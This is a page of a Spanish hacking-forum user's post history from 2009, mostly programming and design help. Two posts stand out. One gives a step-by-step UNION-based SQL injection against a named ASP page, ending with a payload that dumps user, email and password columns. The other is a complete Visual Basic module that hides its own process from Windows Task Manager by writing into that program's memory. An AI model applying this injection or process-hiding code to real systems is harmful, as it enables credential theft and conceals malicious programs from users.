elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 [367] 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 ... 456
3661  Programación / Programación Visual Basic / Re: modo oculto en: 31 Octubre 2009, 00:24 am
te sale ese error porque lo estas escribiendo sobre el mismo form y lo estas haciendo private, ponlo en un módulo bas
3662  Programación / Programación Visual Basic / Re: [DUDA] ¿¿¿ Incompatibilidad en WIN7 y Vista o quizas problemas de permisos ??? en: 31 Octubre 2009, 00:14 am
dale con el boton derecho ejecutar como y le das en administrador, tambien recuerda que los atributos de directorios no son los mismos en vista y en xp.

Código
  1. Public Function Is_Dir(Ruta As String) As Boolean
  2. On Error GoTo error
  3. ' El atributo en Windows XP es
  4. ' 16: Archivo normal
  5. ' 22: Unidad de almacenamiento
  6. ' El atributo en Windows 7 es
  7. ' 17: Archivo normal
  8. ' 65558: Unidad de almacenamiento
  9. If _
  10.  GetAttr(Ruta) = 16 Or _
  11.  GetAttr(Ruta) = 17 Or _
  12.  GetAttr(Ruta) = 22 Or _
  13.  GetAttr(Ruta) = 65558 _
  14. Then
  15.  Is_Dir = True
  16. Else
  17.  Is_Dir = False
  18. End If
  19. Exit Function
  20. error:
  21. Is_Dir = False
  22. End Function

Verifica con if is_dir(xxx) then ...
3663  Media / Diseño Gráfico / Re: ¿Cómo hacer una imagen con transparencias pero que no pese mucho? en: 31 Octubre 2009, 00:04 am
en el photoshop le das en exportar para pagina web y le das la opcion de png a 24 y ves abajo en la barra cuanto peso te va dejando el archivo.
Si quieres en gif en la misma ventana que te abre para exportar cambiale el formato a gif con tramado y transparencia con 256 optimizado para pagina web. Aunque este formato gif es el mejor que puede dejar photoshop no puedes crear semitransparencias y te quedarán los bordes blancos, por eso para transparencias lo mejor es png y a lo mucho una imagen deberia quedar en unos 100k si es muy grande.

Para que te quede de mas de un mega tendría que ser una imagen de tamaño completo no se, unos 1024x768 y ni aun así.
3664  Seguridad Informática / Nivel Web / Re: Ayuda con idea para Inyeccion SQL en: 30 Octubre 2009, 22:43 pm
entonces sigues...

puntaje.asp?UsuarioID=5623 order by 999
puntaje.asp?UsuarioID=5623 order by 1

y así y ves hasta que numero te da error.
supongamos que
puntaje.asp?UsuarioID=5623 order by 10 - no da error pero
puntaje.asp?UsuarioID=5623 order by 11 - si da error
entonces el número de columnas es 10 y haces
puntaje.asp?UsuarioID=-1 union select 1,2,3,4,5,6,7,8,9,10

y el numero que te muestre en pantalla a ese le das las funciones user() database() etc etc.

Esto es mysql, recuerda como dijo ozx si es mssql no te va a funcionar de la misma manera.

por ejemplo
puntaje.asp?UsuarioID=-1 union select 1,votos,user,mail,pass,6,7,8,9,10 from usuarios
3665  Seguridad Informática / Nivel Web / Re: Backdoor nativo en SMF 2.0 en: 30 Octubre 2009, 18:56 pm
Antiguamente se utilizaba un foro de melodysoft, despues se pasó a un servidor propio con e sistema Yabsee que era una version mas antigua de SMF y despues a smf. Las auditorias apuntan para hacer de smf un sistema mas seguro y poder utilizarlo de buena forma.
3666  Seguridad Informática / Nivel Web / Re: Vulnerabilidad XSS en tuenti. en: 30 Octubre 2009, 18:53 pm
Genial!, lo agregué al post de recopilaciones de advisories

http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_291009-t244090.0.html
3667  Programación / PHP / Re: Optimizacion de codigo PHP. en: 30 Octubre 2009, 03:33 am
Si es por optimizar debería quedar así:

Código
  1. if(mysql_connect('127.0.0.1', 'reinhold', 'secret_hash'))mysql_select_db($db_database);else die('Error en conexión');

Primero que nada me ahorro el espacio en memoria de las variables del handle con el link de la conexión, el string del host, nombre, etc, también pongo 127.0.0.1 para evitar que el sistema operativo tenga que traducir el dns a un host/ip y elimino las llaves y saltos de linea para ahorrar espacio en el script y ahorrarle memoria al sistema op cuando php intente cargar el archivo para procesarlo.

Pero es tan poca la diferencia del uso de memoria y proceso que es mas conveniente hacerlo como la segunda opción ya que puedes editar super fácil algún tipo de dato y puedes utilizar el mismo espacio en memoria de las variables para establecer una segunda conexión, en cambio si usas definiciones de constantes tendrías que duplicar la cantidad de constantes por cada nueva conexión.

Si fuera vulnerable por register_globals entonces casi todos los sistemas webs serían vulnerables.
3668  Foros Generales / Sugerencias y dudas sobre el Foro / Re: ¿UN ERROR HA OCURRIDO? en: 30 Octubre 2009, 00:23 am
usas el theme clasico del foro?
3669  Programación / Programación Visual Basic / Re: modo oculto en: 29 Octubre 2009, 23:47 pm
Y con esto lo ocultas de la lista de procesos (solo del administrador de tareas)

Código
  1. Option Explicit
  2. Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  3. Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
  4. Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  5. Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
  6. Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
  7.  
  8. Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
  9. Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  10. Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  11. Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  12.  
  13. Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
  14. Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
  15.  
  16. Const PROCESS_VM_OPERATION = &H8
  17. Const PROCESS_VM_READ = &H10
  18. Const PROCESS_VM_WRITE = &H20
  19. Const PROCESS_ALL_ACCESS = 0
  20. Private Const PAGE_READWRITE = &H4&
  21.  
  22. Const MEM_COMMIT = &H1000
  23. Const MEM_RESERVE = &H2000
  24. Const MEM_DECOMMIT = &H4000
  25. Const MEM_RELEASE = &H8000
  26. Const MEM_FREE = &H10000
  27. Const MEM_PRIVATE = &H20000
  28. Const MEM_MAPPED = &H40000
  29. Const MEM_TOP_DOWN = &H100000
  30.  
  31. Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
  32. Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
  33. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  34.  
  35. Private Const LVM_FIRST = &H1000
  36. Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)
  37.  
  38. Private Const LVM_GETITEMW = (LVM_FIRST + 75)
  39. Private Const LVIF_TEXT = &H1
  40. Private Const LVM_DELETEITEM = 4104
  41.  
  42. Public Type LV_ITEM
  43.    mask As Long
  44.    iItem As Long
  45.    iSubItem As Long
  46.    state As Long
  47.    stateMask As Long
  48.    lpszText As Long 'LPCSTR
  49.    cchTextMax As Long
  50.    iImage As Long
  51.    lParam As Long
  52.    iIndent As Long
  53. End Type
  54.  
  55. Type LV_TEXT
  56.    sItemText As String * 80
  57. End Type
  58.  
  59. Public Function Procesos(ByVal hWnd2 As Long, lParam As String) As Boolean
  60. Dim Nombre As String * 255, nombreClase As String * 255
  61. Dim Nombre2 As String, nombreClase2 As String
  62. Dim X As Long, Y As Long
  63. X = GetWindowText(hWnd2, Nombre, 255)
  64. Y = GetClassName(hWnd2, nombreClase, 255)
  65.  
  66. Nombre = Left(Nombre, X)
  67. nombreClase = Left(nombreClase, Y)
  68. Nombre2 = Trim(Nombre)
  69. nombreClase2 = Trim(nombreClase)
  70. If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
  71.   OcultarItems (hWnd2)
  72.   Exit Function
  73. End If
  74. If Nombre2 = "" And nombreClase2 = "" Then
  75. Procesos = False
  76. Else
  77. Procesos = True
  78. End If
  79. End Function
  80.  
  81. Private Function OcultarItems(ByVal hListView As Long) ' As Variant
  82.   Dim pid As Long, tid As Long
  83.   Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
  84.   Dim DirMemComp As Long, dwTam As Long
  85.   Dim DirMemComp2 As Long
  86.   Dim sLVItems() As String
  87.   Dim li As LV_ITEM
  88.   Dim lt As LV_TEXT
  89.   If hListView = 0 Then Exit Function
  90.   tid = GetWindowThreadProcessId(hListView, pid)
  91.   nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)
  92.   If nElem = 0 Then Exit Function
  93.   ReDim sLVItems(nElem - 1)
  94.   li.cchTextMax = 80
  95.   dwTam = Len(li)
  96.      DirMemComp = GetMemComp(pid, dwTam, hProceso)
  97.      DirMemComp2 = GetMemComp(pid, LenB(lt), hProceso)
  98.      For i = 0 To nElem - 1
  99.          li.lpszText = DirMemComp2
  100.          li.cchTextMax = 80
  101.          li.iItem = i
  102.          li.mask = LVIF_TEXT
  103.          WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
  104.          lt.sItemText = Space(80)
  105.          WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
  106.          Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
  107.          Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
  108.          If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = App.EXEName & ".exe" Then  '<===========CAMBIAR
  109.           Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
  110.           Exit Function
  111.          End If
  112.      Next i
  113.      CloseMemComp hProceso, DirMemComp, dwTam
  114.      CloseMemComp hProceso, DirMemComp2, LenB(lt)
  115. End Function
  116.  
  117. Private Function GetMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
  118.    hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid)
  119.    GetMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
  120. End Function
  121.  
  122. Private Sub CloseMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long)
  123.   Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
  124.   CloseHandle hProceso
  125. End Sub
  126. Private Function TrimNull(sInput As String) As String
  127.   Dim pos As Integer
  128.   pos = InStr(sInput, Chr$(0))
  129.   If pos Then
  130.      TrimNull = Left$(sInput, pos - 1)
  131.      Exit Function
  132.   End If
  133.   TrimNull = sInput
  134. End Function
  135. Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
  136. Dim Handle As Long
  137. Handle = FindWindow(vbNullString, "Administrador de tareas de Windows")
  138. If Handle <> 0 Then EnumChildWindows Handle, AddressOf Procesos, 1
  139. End Sub
  140.  
  141. Public Sub Ocultar(ByVal hwnd As Long)
  142.    App.TaskVisible = False
  143.    SetTimer hwnd, 0, 20, AddressOf TimerProc
  144. End Sub
  145.  
  146. Public Sub Mostrar(ByVal hwnd As Long)
  147.    App.TaskVisible = True
  148.    KillTimer hwnd, 0
  149. End Sub
  150.  

Lo usas así:

Código
  1. Private Sub Command1_Click()
  2. Ocultar Me.hwnd
  3. End Sub
  4.  
  5. Private Sub Command2_Click()
  6. Mostrar Me.hwnd
  7. End Sub
3670  Programación / PHP / Re: Petición a API XML en: 29 Octubre 2009, 23:24 pm
esque no pienses que es seguro, piensa que es necesario para que se vea, si no pones htmlspecialchars no podrá verse el contenido original si este lleva algún carácter especial. mas que por el sistema hazlo por los usuarios del sistema  :P
Páginas: 1 ... 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 [367] 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 ... 456
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines